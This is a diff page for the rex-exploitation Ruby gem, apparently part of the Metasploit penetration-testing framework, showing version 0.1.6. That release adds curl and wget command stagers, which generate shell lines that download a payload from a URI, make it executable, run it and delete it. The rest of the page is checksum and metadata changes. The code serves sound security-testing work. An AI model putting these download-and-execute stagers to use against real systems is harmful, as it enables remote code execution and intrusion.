rex-exploitation 0.1.5 → 0.1.6
Sign up to get free protection for your applications and to get access to all the features.
- checksums.yaml +4 -4
- checksums.yaml.gz.sig +0 -0
- data.tar.gz.sig +0 -0
- data/lib/rex/exploitation/cmdstager.rb +2 -0
- data/lib/rex/exploitation/cmdstager/curl.rb +26 -0
- data/lib/rex/exploitation/cmdstager/wget.rb +26 -0
- data/lib/rex/exploitation/version.rb +1 -1
- metadata +4 -2
- metadata.gz.sig +0 -0
checksums.yaml
CHANGED
@@ -1,7 +1,7 @@
|
|
1
1
|
---
|
2
2
|
SHA1:
|
3
|
-
metadata.gz:
|
4
|
-
data.tar.gz:
|
3
|
+
metadata.gz: 80afdc8e550167ae91e8e08edd84a2740556cfba
|
4
|
+
data.tar.gz: 5ddda4d0ea91af79b9847b1f1d36a2b8c3c61d8b
|
5
5
|
SHA512:
|
6
|
-
metadata.gz:
|
7
|
-
data.tar.gz:
|
6
|
+
metadata.gz: e584e169273b66bd8ed80828e6dd438dcd30e086cbc66ede2ae119ef3b8a13304ea7ef9db096bd717d033b4d636540e626bf81a58dc57855b0aa02ed8b6aefa6
|
7
|
+
data.tar.gz: 9c21de05b924fda0a016019aaf67a460395c1601ad0dbee116ebaf670aad72e2c2e958e4617f29cb35b1a24d9d2fb49e6b7a8101f130b0fb6a7e97ccc50368da
|
checksums.yaml.gz.sig
CHANGED
Binary file
|
data.tar.gz.sig
CHANGED
Binary file
|
@@ -0,0 +1,26 @@
|
|
1
|
+
# -*- coding: binary -*-
|
2
|
+
|
3
|
+
class Rex::Exploitation::CmdStagerCurl < Rex::Exploitation::CmdStagerBase
|
4
|
+
|
5
|
+
def http?
|
6
|
+
true
|
7
|
+
end
|
8
|
+
|
9
|
+
def compress_commands(cmds, opts)
|
10
|
+
if opts[:payload_uri].nil?
|
11
|
+
raise "#{self.class.name}##{__callee__} missing opts[:payload_uri]"
|
12
|
+
end
|
13
|
+
|
14
|
+
opts[:temp] ||= '/tmp'
|
15
|
+
payload_file = opts[:payload_uri].split('/').last
|
16
|
+
payload_path = opts[:temp] + '/' + payload_file
|
17
|
+
|
18
|
+
cmds << "curl -ko #{payload_path} #{opts[:payload_uri]}"
|
19
|
+
cmds << "chmod +x #{payload_path}"
|
20
|
+
cmds << payload_path
|
21
|
+
cmds << "rm -f #{payload_path}" unless opts[:nodelete]
|
22
|
+
|
23
|
+
super
|
24
|
+
end
|
25
|
+
|
26
|
+
end
|
@@ -0,0 +1,26 @@
|
|
1
|
+
# -*- coding: binary -*-
|
2
|
+
|
3
|
+
class Rex::Exploitation::CmdStagerWget < Rex::Exploitation::CmdStagerBase
|
4
|
+
|
5
|
+
def http?
|
6
|
+
true
|
7
|
+
end
|
8
|
+
|
9
|
+
def compress_commands(cmds, opts)
|
10
|
+
if opts[:payload_uri].nil?
|
11
|
+
raise "#{self.class.name}##{__callee__} missing opts[:payload_uri]"
|
12
|
+
end
|
13
|
+
|
14
|
+
opts[:temp] ||= '/tmp'
|
15
|
+
payload_file = opts[:payload_uri].split('/').last
|
16
|
+
payload_path = opts[:temp] + '/' + payload_file
|
17
|
+
|
18
|
+
cmds << "wget -P #{opts[:temp]} #{opts[:payload_uri]}"
|
19
|
+
cmds << "chmod +x #{payload_path}"
|
20
|
+
cmds << payload_path
|
21
|
+
cmds << "rm -f #{payload_path}" unless opts[:nodelete]
|
22
|
+
|
23
|
+
super
|
24
|
+
end
|
25
|
+
|
26
|
+
end
|
metadata
CHANGED
@@ -1,7 +1,7 @@
|
|
1
1
|
--- !ruby/object:Gem::Specification
|
2
2
|
name: rex-exploitation
|
3
3
|
version: !ruby/object:Gem::Version
|
4
|
-
version: 0.1.
|
4
|
+
version: 0.1.6
|
5
5
|
platform: ruby
|
6
6
|
authors:
|
7
7
|
- David Maloney
|
@@ -88,7 +88,7 @@ cert_chain:
|
|
88
88
|
G+Hmcg1v810agasPdoydE0RTVZgEOOMoQ07qu7JFXVWZ9ZQpHT7qJATWL/b2csFG
|
89
89
|
8mVuTXnyJOKRJA==
|
90
90
|
-----END CERTIFICATE-----
|
91
|
-
date: 2016-12-
|
91
|
+
date: 2016-12-29 00:00:00.000000000 Z
|
92
92
|
dependencies:
|
93
93
|
- !ruby/object:Gem::Dependency
|
94
94
|
name: bundler
|
@@ -253,12 +253,14 @@ files:
|
|
253
253
|
- lib/rex/exploitation/cmdstager/base.rb
|
254
254
|
- lib/rex/exploitation/cmdstager/bourne.rb
|
255
255
|
- lib/rex/exploitation/cmdstager/certutil.rb
|
256
|
+
- lib/rex/exploitation/cmdstager/curl.rb
|
256
257
|
- lib/rex/exploitation/cmdstager/debug_asm.rb
|
257
258
|
- lib/rex/exploitation/cmdstager/debug_write.rb
|
258
259
|
- lib/rex/exploitation/cmdstager/echo.rb
|
259
260
|
- lib/rex/exploitation/cmdstager/printf.rb
|
260
261
|
- lib/rex/exploitation/cmdstager/tftp.rb
|
261
262
|
- lib/rex/exploitation/cmdstager/vbs.rb
|
263
|
+
- lib/rex/exploitation/cmdstager/wget.rb
|
262
264
|
- lib/rex/exploitation/egghunter.rb
|
263
265
|
- lib/rex/exploitation/encryptjs.rb
|
264
266
|
- lib/rex/exploitation/heaplib.js.b64
|
metadata.gz.sig
CHANGED
Binary file
|